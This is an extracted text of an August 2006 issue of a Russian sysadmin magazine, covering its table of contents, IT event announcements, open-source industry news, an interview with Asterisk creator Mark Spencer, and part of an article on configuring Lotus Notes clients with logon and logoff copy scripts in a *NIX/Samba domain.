045 Системный Администратор 08 2006

№8(

45)

авгу

ст 2

006

№8(45) август 2006подписной индекс 20780www.samag.ru

Windows Firewall: защищаем внутренние ресурсы сети

Биллинг на FreeBSD: пишем сами

Проводим инвентаризацию сети средствами SMS 2003

Как устроена файловая система JFS

Тестируем движки поисковых машин

Настраиваем DrWeb Enterprise Suite

Аудит и дизассемблирование эксплоитов

Интервью с cоздателем Asterisk

Роспечать – 20780, 81655Пресса России – 87836Интер-почта – тел. (495) 500-00-60

Так видит журнал читатель, который забыл оформить подписку:

ПОДПИШИТЕСЬ И ЧИТАЙТЕ!

Так видит журнал читатель, оформивший подписку:

НОВОГОДНИЕ

КАНИКУЛЫ

ЗАТЯ

НУЛИСЬ

БЫСТР

О РАСКУПИЛИ

ТИРА

Ж

НЕОЖ

ИДАННО

ЗАКОНЧИЛИСЬ Д

ЕНЬГИ

УЕХАЛ В

ОТП

УСК

ПОСЛЕ ОТП

УСКА

АВРАЛ Н

А РАБОТЕ

№5(30) май 2005подписной индекс 81655www.samag.ru

Почему MS SQL медленно работает?Ищем причины

Строим защищенную беспроводную сеть:WPA-Enterprise, 802.1x EAP-TLS

Настраиваем UPS под Linux

Как восстановить удаленные файлы под BSD

Что важно знать об IP-телефонии

танавливаем Symantec Antivirus 9.0в корпоративной сети

Эффективно управляем полями пользователей в AD

Контролируем безопасность сетис помощью OSSIM

Интервью с Ларри Уоллом –создателем языка Perl

№5(30) май 2005подписной индекс 81655www.samag.ru

Почему MS SQL медленно работает?Ищем причины

Строим защищенную беспроводную сеть:WPA-Enterprise, 802.1x EAP-TLS

Настраиваем UPS под Linux

Как восстановить удаленные файлы под BSD

Что важно знать об IP-телефонии

танавливаем Symantec Antivirus 9.0в корпоративной сети

Эффективно управляем полями пользователей в AD

Контролируем безопасность сетис помощью OSSIM

Интервью с Ларри Уоллом –создателем языка Perl

1№8, август 2006

в номере

СОБЫТИЯ3

Современный Linux-сервер: виртуализируем сетевые устройстваЧасть 2

18

Алексей Барабанов[email protected]

Воплотить схему виртуализации совершенно неслож-но. А дополнительно можно построить адаптивную сис-тему коммутации.


12

Дмитрий Щербаков[email protected]

Хорошо настроенный SMS существенно сократит ва-ше время, затрачиваемое на рутинную работу по ин-вентаризации сети.

ИНТЕРВЬЮ

Марк Спенсер: «Это Asterisk привлекает пользователей к Linux, а не наоборот»

6

Дмитрий Шурупов[email protected]

Интервью с создателем популярной программной офис-ной станции Asterisk.

АДМИНИСТРИРОВАНИЕ

Lotus Notes на Windows 2K/XP в *NIX-домене

8

Мыкола Буряк[email protected]

Одна из схем настройки работы клиента Lotus Notes на рабочих станциях с Windows 2K/XP в домене на *NIX-сервере.

Биллинг на FreeBSD: пишем сами, используя PHP, trafd и MySQL

34

Александр Чагадаев[email protected]

Если пользователи жалуются, что Интернет «тормозит», а начальство ругается, что счета от провайдера слиш-ком большие, покупка готового биллинга – не единс-твенный выход.

Обзор дистрибутива Ubuntu 6.0640

Сергей Супрунов[email protected]

Вышла новая версия уже почти культового дистрибу-тива, который ворвался на рынок Linux-систем и по показателю популярности оставил позади даже таких «монстров», как Fedora Core и OpenSUSE.

КНИЖНАЯ ПОЛКА

92

ТЕНДЕНЦИИ5

Как работает Sendmail? Полезные подробностиЧасть 4: взаимодействие со сторонними программами

26

Сергей Супрунов[email protected]

Возможностей Sendmail не всегда хватает для реше-ния всего многообразия задач. Но открытость ПО тем и хороша, что позволяет наращивать мощь практичес-ки без ограничений.

Волшебник из страны… Воз50

Оксана Родионова[email protected]

Легендарный создатель компьютеров Apple I и Apple II Стив Возняк верит в сказки и сам создает их.

ЧЕЛОВЕК НОМЕРА

БЕЗОПАСНОСТЬ


Андрей Бирюков[email protected]

Сейчас локальная сеть любой, даже совсем небольшой организации защищена от внешних угроз. Настолько ли хорошо защищены ресурсы внутренней сети?

54


Крис Касперски[email protected]

Эксплоиты, демонстрирующие наличие дыры (proof-of-concept), обычно распространяются в исходных текс-тах, однако, основной функционал заключен в shell-коде, анализ которого представляет весьма нетриви-альную задачу.

58


Антон Борисов [email protected]

Один из способов защитить предприятие от вирус-ной активности.

68

Контролируем доступ к веб-сервису с помощью DACSЕсли для настольных систем проблему аутентифика-ции и авторизации можно считать решенной, то стан-дартные механизмы, используемые в веб-сервисах, пока еще не удовлетворяют современным требовани-ям безопасности.

74

WEB

Сергей Яремчук[email protected]

Тестируем движки поисковых машинБольшинство из вас каждый день пользуется поис-ковыми машинами в Интернете. Какие они изнутри и чем отличаются?

80

Иван Максимов [email protected]

Сеть друзей: история Fidonet86

Илья Александров [email protected]

РЕТРОСПЕКТИВА

Фидо… Для кого-то это слово – пустой звук, для мно-гих из вас – часть жизни, пусть, быть может, и прошлой. Но история первого в России компьютерного сообщес-тва будет интересна каждому.

73, 91, 94 BUGTRAQ

Как устроена файловая система JFS42

Андрей Пешеходов[email protected]

Показатели производительности файловой системы JFS не впечатляют. Хотя она спроектирована стройно и чет-ко, а алгоритмы обработки данных и метаданных отли-чаются высокой степенью оптимизации. Попробуем ра-зобраться, в чем же дело.

Обзор книжных новинокАлександр Байрак[email protected]

3№8, август 2006

события

В Москве одновременно пройдут четыре международные IT-выставки

Четыре одновременные международные выставки-конференции: LinuxWorld Russia, Infosecurity Russia, Storage Expo и Documation – одно из самых значимых событий в IT-сфере.

Здесь соберутся все ведущие отечественные и зарубеж-ные IT-специалисты, а также представители делового ми-ра, заинтересованные в применении современных инфор-мационных технологий в бизнесе.

LinuxWorld – ведущая международная выставка-кон-ференция, посвящённая Linux и решениям с открытым ис-ходным кодом. Это уникальная площадка для демонстра-ции любых продуктов, приложений, решений и услуг в об-ласти Open Source!

Бесплатная деловая программа: Электронное правительство: повышения качества уп-

равления за счет решений Open Source. Открытые стандарты. Построение корпоративной IT-инфраструктуры на базе

Open Source-решений. Средства обеспечения информационной безопасности. Технологии кластеризации. Распределенные информационно-вычислительные

комплексы (P2P, Grid, поисковые машины, порта-лы и др.).

Технологии визуализации. Новейшие разработки.

Когда: 4-5 сентября Где: г. Москва, Экспоцентр на Красной Пресне,

павильон №2 (Краснопресненская наб., 14) Подробности: http://www.linuxworldexpo.ru http://www.infosecuritymoscow.com http://www.storage-expo.ru http://www.documation.ru

Linux для встраиваемых и мобильных устройств. Презентации продуктов и решений крупных компаний.

Среди докладчиков – признанные эксперты мирового уровня: Troy Dawson (Fermilab Computing Division/CSS CSI Group); Jim Zemlin (исполнительный директор FSG), а так-же представители Минэкономразвития России, Центра Верификации Linux, IBM, консорциума GO4IT, компаний Linux Инк, Monta Vista, PalmSource, Бюро ЮНЕСКО, ФАИТ и другие.

Зарегистрировавшись на Linux World, вы сможете также посетить проходящие одновременно в Экспоцентре специ-ализированные выставки Infosecurity Russia 2006, Storage Expo 2006 и Documation Russia 2006.

В этом году в рамках Infosecurity Russia предусмотрена насыщенная деловая программа, включающая в себя трех-дневную конференцию «ИБ: международный опыт + рос-сийская практика», а также более 60 круглых столов, се-минаров и презентаций компаний.

Острые темы обсуждения круглых столов и дискуссий: Новые угрозы безопасности информации. Перспективы IT-сферы после вступления России

в ВТО. Концепции безопасности бизнеса в различных отрас-

лях. Решения проблем ИБ на примере Олимпиады-2006 в Ту-

рине. Возможности продвижения российских продуктов

на международном рынке.

Среди докладчиков – признанные эксперты мирового уровня: Каролин Турбифилл (экс-глава Internet Commerce Group в Sun Microsystems; вице-президент Counterpane Internet Security); Брюс Шнайер (основатель Counterpane Internet Security; известный специалист по криптогра-фии); Стив Хант (экс-аналитик Forrester Research; прези-дент 4A International), Александр Владимирович Галицкий

4

события

LinuxLand/SofTool’2006

Компании ИТ-Экспо и Линуксцентр приглашают вас принять участие в выставке информационных техно-логий SofTool’2006, где планируется собрать ведущие российские Linux-компании в одном секторе выставоч-ной площади LinuxLand.

SofTool’2006 – единственное мероприятие, где Linux-компании получат возможность представить свои продук-ты конечным пользователям и корпоративным клиентам од-новременно. Это самое массовое из проводимых в данной отрасли мероприятий. На LinuxLand соберутся поставщи-ки Linux и различных решений для этой ОС: Mandriva, IBM, Novell, R-Style, HP, Oracle, ASPLinux, Linux-Online (разработ-чик Linux XP), НПО «Сеть» (разработчик MOPSLinux), Bitrix, ПРОМТ, Etersoft и Linuxcenter.ru, журнал Linux Format, обра-зовательный центр Lynx Education Center и другие. Помимо выставочных стендов, на экспозиции традиционно будет расположена демо-зона, где посетители LinuxLand смогут познакомиться с предлагаемыми продуктами.

В этом году в рамках LinuxLand состоится междуна-родная конференция «ИТО-2006: Технологии Linux и Open Source», первый день будет посвящен обсуждению про-грамм внедрения Open Source в образование ЮНЕСКО, до-кладам и презентациям лидеров Linux-индустрии и Linux-об-разования. В остальные дни пройдут мастер-классы и тре-нинги по технологиям Linux и Open Source. Участники кон-ференции получают кейсы со сборниками трудов, учебными пособиями и дистрибутивами Linux и Open Source. Для по-лучения материалов необходима регистрация.

Зарегистрироваться для участия в конференции в ка-честве слушателя вы можете по адресу: http://www.linuxland.ru/conf.phtml.

Когда: 26-29 сентября Где: г. Москва, ВВЦ, павильон № 69 Подробности: http://www.linuxland.ru

(консалтинг; российский президент European Tech Tour Russian 2004).

Темы дискуссий на трехдневной конференции Storage Expo: Тенденции и направления развития рынка систем хра-

нения. Виртуализация в системах хранения. Технологии гарантированного долговременного хране-

ния данных. Обеспечение непрерывности бизнес-процессов. Альтернативные технологии доступа к данным. Технологии резервного копирования. Вопросы архивирования корпоративных данных. Взаимосвязь и взаимовлияние бизнес и storage-реше-

ний и другие вопросы.

Выставка и конференция Documation сфокусирована на новейших решениях и технологиях в области эффектив-ного управления информацией, электронного документо-оборота и контент-менеджмента.

Особое внимание будет уделяться бесплатной конфе-ренции с докладами от ведущих экспертов отрасли, а так-же демонстрации продуктов и услуг от крупнейших пред-приятий рынка. Documation собирает профессиональную аудиторию всех тех, кто стремится управлять своей дело-вой информацией эффективно и выгодно.

Темы дискуссий: Управление жизненным циклом информации. Безопасность данных и информации в СЭД. Проблемы внедрения, успехи внедрения, модели внед-

рения. Вопросы стандартизации и сертификации СЭД, обме-

на данными между различными СЭД.

Регистрация на выставки-конференции: http://www.linuxworldexpo.ru/ticket.ru.html, http://www.infosecuritymoscow.com/ticket.ru.html, а также на любом из сайтов выставок.

5№8, август 2006

тенденции

Corel восстановила прибыльность, отойдя от Linux-бизнесаКорпорация Corel, пережив 6 лет финансовых трудностей и реорганизаций, объявила о возвращении к публичной торговле с многообещающими отчетами за первый и вто-рой кварталы 2006 года, отмечает NewsForge. Как сообщил Грэхэм Браун (Graham Brown), исполнительный вице-прези-дент разработки программного обеспечения в Corel, одним из шагов для этого стал отказ компании от Linux-продуктов: WordPerfect for Linux и Corel Linux. В 2001 году Xandros ли-цензировала у Corel права на код Corel Linux. В 2002 году, когда вышли следующие версии WordPerfect Office, Corel перестала поддерживать редакции для GNU/Linux. В 2003 году Vector Capital приобрела Corel, после чего она стала частной компанией, ориентированной на Windows-рынок.

Браун охарактеризовал решение Corel отказаться от Corel Linux как «успешную стратегию для Corel и как ран-ний шаг навстречу переориентации бизнеса».

Тем не менее Corel продолжает проявлять интерес к сво-бодной ОС GNU/Linux. Помимо того, что у компании сохра-нились отношения с Xandros (связанные с разработкой дист-рибутива), Corel продавала обновленную версию текстового процессора WordPerfect for Linux на своем веб-сайте в 2004 году на протяжении 6 месяцев. Этот шаг, по словам Брауна, был нацелен на то, чтобы «помочь оценить положение рын-ка офисных пакетов для Linux». Однако назвать результаты позитивными трудно: «На данный момент мы не наблюда-ем достаточного спроса от наших основных потребителей и заказчиков из сферы малого бизнеса для того, чтобы га-рантировать разработку наших Linux-продуктов».

NetBSD получила полную поддержку Xen 3Благодаря усилиям Мануэля Боуйера (Manuel Bouyer) в сво-бодной операционной системе NetBSD появилась полная поддержка свободного средства виртуализации Xen 3. Под-держка Xen3 DomU действовала в NetBSD еще с конца мар-та, однако добавленная недавно функциональность позво-ляет также запускать контролирующий или привилегиро-ванный Xen3-домен под NetBSD. Подробности доступны на сайте порта NetBSD/xen (http://www.netbsd.org/Ports/xen).

Hyperic перестраивает бизнес на Open SourceНачинающая компания из Сан-Франциско (США) Hyperic запустила проект Open Source вокруг своего одноименно-го ПО с целью дополнить корпоративное ПО управления дешевым продуктом и бизнес-моделью открытого кода. Hyperic опубликовала исходный код программного обес-печения Hyperic HQ и открыла веб-сайт для пользовате-лей и разработчиков, которые, как полагают в компании, помогут с устранением ошибок и написанием различных дополнений.

ПО управления Hyperic HQ следит за тем, что проис-ходит в сетях организации и оповещает администраторов о том, что произошло то или иное событие. Hyperic будет распространять это свое ПО бесплатно под свободной ли-цензией GNU GPL. Деньги же планируют зарабатывать на корпоративных подписках, что добавляют различные ори-

ентированные на бизнес возможности к основному продук-ту и включают в себя услуги поддержки. Об этом стало из-вестно от президента и основателя Hyperic Хавьера Сол-теро (Javier Soltero).

Стартовал первый «Сезон KDE»Разработчики популярной свободной графической оболоч-ки KDE объявили о запуске первого «Сезона KDE».

Season of KDE – проект, дополняющий «Лето кода» и призванный так или иначе довести до логического кон-ца разработку всех приложений, которые не стали фина-листами в студенческой инициативе Google. Уже объяв-лено о том, что 14 студентов дали согласие на разработку своих проектов даже без финансовой поддержки со сто-роны Google. Подробности о «Сезоне KDE» 2006 доступны на http://developer.kde.org/seasonofkde.

Поправка к новости «Проект FreeDOS официально закрыт» из прошлого выпускаCообщение о смерти свободной ОС FreeDOS оказалось лишь «шуткой» автора проекта. В день 12-летия FreeDOS Джим Холл (Jim Hall) действительно поместил на главной странице freedos.org новость о смерти проекта, однако в от-вет на реакцию сообщества он заявил, что это была лишь «ужасная шутка». Более того, в ближайшее время состоит-ся финальный релиз FreeDOS 1.0.

Составил Дмитрий Шуруповпо материалам www.nixp.ru

6

интервью

Благодаря своей увлеченнос-ти открытым ПО и стечению обстоятельств он смог совер-

шить маленькую революцию в те-лекоммуникациях и подарил миру мощную, а главное – свободную за-мену дорогостоящим коммерческим PBX – Asterisk. Марк поделился мыс-лями об этом продукте и об откры-том ПО в интервью нашему коррес-понденту.

Asterisk создавался для исполь-зования в рамках одной компании как продукт с ограниченным набо-ром необходимых функций. Выби-рать для такого ПО свободную ли-цензию – явление незаурядное. По-чему Open Source?Это не первый мой программный про-дукт подобного рода. Мое увлечение Open Source возникло еще задолго до того, как появилась необходимость в подобном приложении. Например, раннее я написал открытый IM-кли-

ент Gaim. Поэтому открытый исходный код казался мне чем-то естественным. Кроме того, важным фактором в поль-зу Open Source было и то, что ПО со-здавалось для Linux.

Если это так, то не совсем понятно, почему же ныне здравствует поли-тика двойных стандартов (двойно-го лицензирования) в отношении к Asterisk, ведь проблемы с коде-ками вроде G.729 можно решить публикацией продукта под какой-нибудь BSD-подобной лицензией, позволяющей совмещать закрытые разработки с открытыми. Мы стремимся сделать продукт гиб-ким, насколько это возможно. Таким образом, пользователи в зависимос-ти от своих потребностей получают ли-бо полностью открытую версию, либо редакцию, которая поддерживает все (в том числе технологии, требующие внедрения закрытого кода), но за до-полнительную стоимость.

Открытость кода – главный фак-тор, сделавший Asterisk таким по-пулярным?Факторов, конечно же, много, и не сто-ит ограничиваться одной открытос-тью. Все зависит от того, кто исполь-зует Asterisk. Для небольших компа-ний более важным фактором являет-ся существенная экономия, получае-мая при выборе Asterisk. Для крупных компаний стоимость не играет столь существенной роли – для них дейс-твительно важнее возможность само-стоятельно изменять код под свои за-просы, что и обеспечивается моделью Open Source.

Монолитная модель программы тра-диционно является препятствием на пути к включению новых возмож-ностей. Как удается сохранять вы-сокий уровень стабильности и свое-временно совершенствовать про-дукт, отвечая на потребности поль-зователей и рынка?

Марк Спенсер: «Это Asterisk привлекает пользователей к Linux, а не наоборот!»

Крупные конференции позволяют взглянуть на давно знакомых людей с другой стороны. На прошедшем в конце июня мероприятии Interop Moscow представилась возможность пообщаться с лучшими представителями IT-индустрии, прямым образом повлиявшими на ее положение сегодня. Один из них – Марк Спенсер.

7№8, август 2006

интервью

Asterisk разрабатывается как Linux-яд-ро. Важно следить за тем, чтобы добав-ляемые части кода не влияли на пра-вильность функционирования написан-ного ранее. Благодаря подключаемым модулям Asterisk является масштаби-руемым, его можно начинать использо-вать с прицелом на расширение набора выполняемых функций в будущем. При этом в небольшой объем удается вмес-тить все необходимые возможности.

Но в прошлом году от Asterisk от-ветвился проект OpenPBX. Чем это вызвано? Реакцией сообщества на медлительность в добавлении новых функций, недовольством об-щим направлением развития?Очень важно соблюдать постоянный баланс между включением новых воз-можностей в код продукта и сохране-нием его стабильности. Естествен-но, находятся люди, которые счита-ют, что в Asterisk не всегда достаточно быстро появляются какие-то новшест-ва. Но ведь мы еще заботимся и о ста-бильности, и о чистоте кода. Это не-простая задача, впрочем, еще ни один из ответвившихся проектов не был ус-пешным.

На последовавшее предположе-ние о существовании каких-либо се-рьезных каналов связи между Asterisk и его ответвлениями Марк ответил от-рицательно, добавив, что это только на первый взгляд (создаваемых проек-тов) так просто поддерживать и разви-вать подобную кодовую базу, но стоит только взяться за дело, как возникает множество трудностей. В полушутли-вой манере он отметил, что не хотел бы возникновения ситуаций вроде ис-ка SCO против IBM/Linux.

Вашей компании Digium удалось до-биться заметных успехов в телеком-муникационном бизнесе. Не ожида-ете ли вы, что это может привести к появлению множества компаний, которые попробуют повторить ваш путь, а в итоге – к Open Source-ре-волюции в телекоммуникационной индустрии?До тех пор пока наш проект не прова-лился, достаточно трудно выйти на ры-нок телекоммуникаций с собственной открытой PBX. Asterisk делает свою работу, оперативно получает новые

возможности, за долгое время сущес-твования продукта сложилось силь-ное и крупное сообщество. А начинать с нуля подобный проект сложно, и ему потребуется не один год для того, что-бы достич серьезного уровня. Кроме того, многие компании уже сейчас за-рабатывают на Asterisk.

Способствует ли резкий рост попу-лярности Linux (в том числе и в те-лекоммуникационной среде, где от-крытую ОС продвигают организа-ции вроде лаборатории OSDL) рас-пространению Asterisk?Пожалуй, текущая ситуация носит диа-метрально противоположный харак-тер: скорее, благодаря Asterisk поль-зователи переходят на Linux. Посто-янно встречаются клиенты, которым по тем или иным причинам симпатичен Asterisk и они мигрируют на родную для него платформу. В свою очередь Linux-пользователи не так часто отказыва-ются от уже применяемых ими реше-ний в пользу Asterisk.

Ответ на вопрос о поддержке Asterisk гигантами IT-индустрии не удивил упо-минанием таких компаний, как IBM и Intel, на blade-серверах которых пре-красно функционирует свободная PBX. Здесь все логично: раз они продвига-ют Linux-серверы для предприятий во-обще, то почему бы и не обеспечивать поддержку предназначенного для них ПО с открытым кодом в виде Asterisk, что может пригодиться практически лю-бой компании. Пришло время подиску-тировать на более отвлеченные от глав-ного детища Спенсера вопросы.

Вы являетесь автором другого по-пулярного Open Source-проекта – Gaim. Что он для вас значит сейчас, помогаете ли вы его развитию?

Теперь я его только использую. На мой взгляд, это пример фантастическо-го успеха программного обеспечения с открытым кодом. Разработкой Gaim я занимался около трех месяцев – прос-то для экспериментирования в приме-нении GTK+. Однако опыт, полученный в ходе его создания и работы с сооб-ществом, стал очень полезным в бу-дущем – он демонстрирует, насколько значительной может оказаться любая Open Source-практика.

Каким вы видите будущее програм-много обеспечения: полностью от-крытое, полностью проприетарное, или эти два направления будут как-то смешиваться?Перспективы мне видятся в смеше-нии продуктов с открытым и закры-тым кодом. Модель Open Source ус-пешна по двум причинам: такое ПО может быстро захватывать огром-ную часть рынка и оно может совер-шенствоваться благодаря поправкам и новшествам, добровольно добавля-емым людьми со всего мира. В то же время на рынке настольных ПК сложи-лась такая ситуация, что люди знают, как использовать Windows – им обыч-но не представляется интересным пе-реучиваться на что-то другое. Зато им нужны инновации, а здесь уже лидерс-тво на стороне Open Source.

В конечном итоге для любого пот-ребителя есть три критерия оценки продукта: цена, производительность и простота использования. Поэтому производители стремятся ориентиро-ваться на достижение наиболее удач-ной комбинации этих критериев, выби-рая соответствующие запросам про-граммные средства.

текст: Дмитрий Шурупов,фото: Йон Холл

Марк СпенсерРодился в семье двух профессоров и уже в 8-м классе написал и продал программу своему учителю за 5 долларов. Позже он стал автором таких известных в сообщест-ве Open Source-проектов, как клиент мгно-венного обмена сообщениями Gaim (http://gaim.sourceforge.net) и программная офис-ная телефонная станция (PBX) Asterisk (http://www.asterisk.org). История создания последней весьма интересна: через неко-

торое время после основания фирмы, за-нимающейся Linux-консалтингом, Марку потребовалось установить офисную те-лефонную станцию. Однако все доступ-ные решения были слишком дорогостоя-щими, он не мог себе их позволить и поэ-тому решился на написание собственной, открытой PBX.

Теперь Asterisk используется множест-вом компаний по всему миру, а фирма Спен-сера Digium занимается ее поддержкой.

8

администрирование

Во многих крупных организациях стандарт де-факто для группо-вой работы в локальной, распре-

деленной и глобальной сетях – комп-лексное решение Lotus Notes и Domino корпорации IBM. C момента появления первой версии Notes в конце 1989 года миллионы пользователей используют Lotus Notes и Domino как базовую кор-поративную коммуникационную инф-раструктуру для коллективного взаи-модействия и совместного использо-вания информационных ресурсов.

Сегодня семейство клиент-сер-верных приложений Lotus Notes и Domino входит в число ведущих про-граммных продуктов в отрасли, и мно-гие компании считают это ПО осно-вой для эффективной и продуктив-ной работы.

Приведу ориентировочные цены на некоторые продукты Lotus Software. Стоимость одной лицензии IBM Lotus Domino Messaging Server с поддержкой в течение 12 месяцев составляет 1225 долларов США за один процессор [3].

Стоимость одной лицензии IBM Lotus Notes with messaging с поддержкой в течение 12 месяцев составляет 96,11 доллара США. Минимальное количес-тво клиентских лицензий ограничено в 100 единиц.

Стандартные возможностиТеперь перейдем к настройке много-пользовательской среды на базе *NIX/Windows для оптимального функцио-нирования Lotus Notes.

Lotus Notes на Windows 2K/XP в *NIX-домене

Хотите разместить на home персональные файлы пользователей Lotus Notes? И при этом сохранить полную функциональность клиента? Ищете простой переход на безопасную схему? Тогда эта статья для вас!

Мыкола Буряк

9№8, август 2006


Пусть на рабочих станциях будет установлена ОС из ли-нейки Windows, например, Windows 2K/XP, с клиентом вер-сии Lotus Notes 6.5.х. Рабочие станции входят в домен под управлением *NIX-системы, с установленной SAMBA вер-сии 2.2.x в том числе. Все пользователи имеют учетные за-писи и бюджет на доменном *NIX-сервере. Каждому предо-ставлен сетевой диск (home) и загрузочный bat-фалы (ло-гонные скрипты). Также есть физически удаленный сервер Lotus Domino версии 6.5.х.

Для многопользовательской среды, когда за одним компьютером работают несколько пользователей, т.е. нет закрепленного рабочего места за каждым пользовате-лем, предусмотрен такой вид инсталляции Lotus Notes, как multi-user install [4]. Этот вид установки предназначен только для Windows-систем и позволяет каждому пользо-вателю сохранять свои персональные рабочий стол, ад-ресную книгу, свойства и др. всегда обновленными. Про-граммные файлы инсталлируются в общую директорию, например, в C:\Lotus\Notes, а персональные файлы поль-зователей, включая конфигурационный notes.ini, хранятся в директории C:\Documents and Settings\<username>\Local Settings\Application Data\Lotus\Notes\Data. Если в конфигу-рации доменного *NIX-сервера нет возможности активизи-ровать функцию записи поддиректории Local Settings вмес-те с профайлом пользователя на доменный сервер, а коли-чество пользовательских файлов Lotus Notes и соответс-твенно их объем остаются неограниченными, то данный вид инсталляции теряет свою функциональность. В гете-рогенной среде *NIX/Windows всегда имеется большая ве-роятность частичной потери или повреждения профайла пользователя при загрузке и выгрузке профиля на рабо-чую станцию и с неё.

Картина будет неполной, если я не упомяну такой вид пользователя, как Roaming User. Чтобы перевести обычных

пользователей в роуминг-пользователей, выберете на сер-вере Lotus Domino нужных вам пользователей и активизи-руйте им опцию Roaming User (см. рис. 1). Последнее поз-волит серверу Lotus Domino осуществлять и контролировать копирование персональных файлов пользователя Lotus Notes с рабочей станции каждого пользователя на серве-ры Lotus Domino и обратно. Роуминг-пользователи могут работать только с клиентом, установленным как multi-user install. Отмечу, что при конфигурации Roaming User копи-руются только базовые персональные настройки пользова-теля, что ограничивает функциональность Lotus Notes. Так-же к недостаткам можно отнести то, что ощутимо возраста-ет трафик между рабочими станциями и сервером. В слу-чае когда количество пользователей несколько сотен чело-век, а пропускная способность канала весьма ограничена, то указанный вариант становится непрактичным.

Серверы и клиентыСемейство продуктов Domino Server состо-ит из трех основных видов серверов [1]: IBM Lotus Domino Messaging Server –

предназначен только для доступа к функциям обмена сообщениями и планирования Domino. Этот вид сер-вера предусматривает поддержку разбиения на разделы, позволяющую иметь несколько экземпляров серве-ров Domino на одном и том же физи-ческом сервере.

IBM Lotus Domino Enterprise Server – предоставляет все функции коллектив-ной работы в Domino, а также функции обмена сообщениями и планирования. В дополнение к поддержке разбиения на разделы сервер Enterprise предус-матривает поддержку кластеризации.

IBM Lotus Domino Utility Server – пре-доставляет неограниченный доступ к основанным на Domino приложени-ям без лицензии клиентского досту-

па Client Access License (CAL). Такие приложения могут бать расположены на Intranet-, Extranet- или интернет-сай-те и доступны как авторизованным, так и неавторизованным пользователям через клиент Notes или браузер.

Семейство продуктов Lotus Notes со-стоит из следующих клиентских мест: IBM Lotus Notes – сочетает в едином

клиенте интегрированные функции электронной почты, календаря, груп-пового планирования и управления ин-формацией в Web. Данный вид клиен-та имеет широкий спектр инструментов для организации коллективной работы и обмена сообщениями.

IBM Lotus Domino Web Access – пред-лагает удобные способы для получе-ния доступа к базовым функциям Lotus Domino в области организации коллек-тивной работы и обмена сообщения-ми, инструментам PIM через веб-бра-

узер. В отличие от пользователей Lotus Notes, пользователям Lotus Domino Web Access требуется только стандар-тный веб-браузер.

IBM Lotus Domino Access for Microsoft Outlook – предоставляет пользовате-лям Microsoft Outlook 2000/2002 среду Domino, доступ к функциям электрон-ной почты и календаря и к другим воз-можностям Lotus Domino, в том числе к полнотекстовому поиску.

IBM Lotus Domino WebMail – предо-ставляет пользователям экономичный доступ (через веб-браузер) к функциям электронной почты и календаря Lotus Domino.

IBM Lotus Workplace Messaging – по-могает легко и без значительных за-трат расширить корпоративную систе-му обмена сообщениями для охвата со-трудников, не имеющих собственного рабочего стола и доступа к электрон-ной почте.

Рисунок 1. Активация опции Roaming User на сервере Lotus Domino

10


Тонкая настройкаЯвный вариант решения нашей задачи – разместить пер-сональные файлы Lotus Notes на сетевых дисках пользо-вателей. При этом в настройках Lotus Notes нужно про-писать путь к персональным файлам. В домене, осно-ванном на Active Directory, указанный выше вариант бу-дет беспрепятственно работать без каких-либо ограниче-ний [5]. При реализации этого решения в нашем сценарии *NIX-сервер будет блокировать множество сетевых запро-сов клиента Lotus Notes к персональным файлам пользо-вателей. Вследствие этого корректное функционирова-ние клиента Lotus Notes будет проблематичным или кли-ент вообще откажет в работе. Поэтому предлагаю схему настройки Lotus Notes и Domino в данной многопользова-тельской среде:

Учетные записи пользователей на сервере Lotus Domino настроены стандартным образом без активации опции Roaming User. На каждой рабочей станции устанавливает-ся стандартный вид инсталляции для одного пользователя в директорию C:\Lotus\Notes. Далее необходимо на каждую рабочую станцию скопировать cmd- и vbs-скрипты в стан-дартную директорию Logoff-скриптов %windir%\system32\GroupPolicy\User\Scripts\Logoff и активировать только vbs-скрипт через оснастку Scripts(Logon/Logoff) Group Policy в Microsoft Management Console (MMC) (см. рис. 2).

Logoff_script.vbs в невидимом окне вызывает пакет-ный файл lotus_copy.cmd. После чего происходит за-держка на 5 секунд для того, чтобы успел выполниться lotus_copy.cmd.

Lotus_copy.cmd при отключении пользователя с рабо-чей станции копирует часть персональных файлов на се-тевой диск, например H:\.

На общедоступном ресурсе размещаем папку new_lotus, в корне которой находятся файлы logon_lotus.cmd, lotus_save_lite.cmd и lotus_notes_6_5.lnk.

Logon_lotus.cmd – пакетный файл, вызываемый из за-грузочных bat-файлов каждого пользователя на домен-ном *NIX-сервере, копирующий файлы Lotus Notes с дис-ка H:\ на C:\.

С помощью утилиты BK ReplaceEm [6] в каждый загрузоч-ный bat-файл пользователя на доменном *NIX-сервере нужно вставить строку копирования Lotus Notes при логоне, напри-

мер, «call z:\new_lotus\logon_lotus.cmd», где диск Z:\ –общедоступный сетевой ресурс.

Lotus_save_lite.cmd применяется для сохранения ярлыков, локальных групп рассылок и других редко изменяемых настроек Lotus Notes. Этот файл следу-ет запускать только при выгруженном Lotus Notes.

Платформа Windows 2000 Windows NT Windows 2003 AIX Linux Solaris

Поддерживаемые ОСWindows 2000 Server;Windows 2000 Advanced Server

Windows NT4 Intel

Windows 2003 Server Standard Edition;Windows 2003 Server Enterprise Edition

AIX 5.1; AIX 5.2; AIX 5.3

Red Hat Enterprise Linux 2.1;Red Hat Enterprise Linux 3.0;SUSE LINUX Enterprise Server 8.0;UnitedLinux 1.0;Powered by UnitedLinux 1.0

Solaris 8;Solaris 9

Поддерживаемые процессоры

Intel PentiumPowerPC, POWER, POWER2, POWER3 RS64, POWER5

Intel x86 UltraSPARC and newer

ОЗУ128 Мб минимум,

рекомендуется 192 Мб или больше256 Мб минимум

192 Мб минимум, рекомендуется 256 Мб или больше



Дисковое пространство 1 Гб минимум, рекомендуется 1.5 Гб или больше 1 Гб минимум, рекомендуется 1.5 Гб или больше

Дисковое пространство для SWAP

В 2 раза больше физического ОЗУ В 3 раза больше физического ОЗУ

Требования к серверной части [2]

Платформа Windows 98 Windows 2000/ Windows XP Windows NT

Поддерживаемые ОС Windows 98 Windows 2000 Professional; Windows XP Professional

Windows NT4 Workstation

Поддерживаемые процессоры Intel Pentium

ОЗУ64 Мб минимум, рекомендуется 256 Мб или больше



Дисковое пространство Необходимо 275 Мб

Требования к клиентской части

logoff_script.vbs

set WSHShell = CreateObject("WScript.Shell")WSHShell.Run "cmd /c lotus_copy.cmd",0WScript.Sleep 5000

lotus_copy.cmd

xcopy "C:\Lotus\Notes\Data\cluster.ncf" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /yxcopy "C:\Lotus\Notes\Data\jobsched.njf" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /y

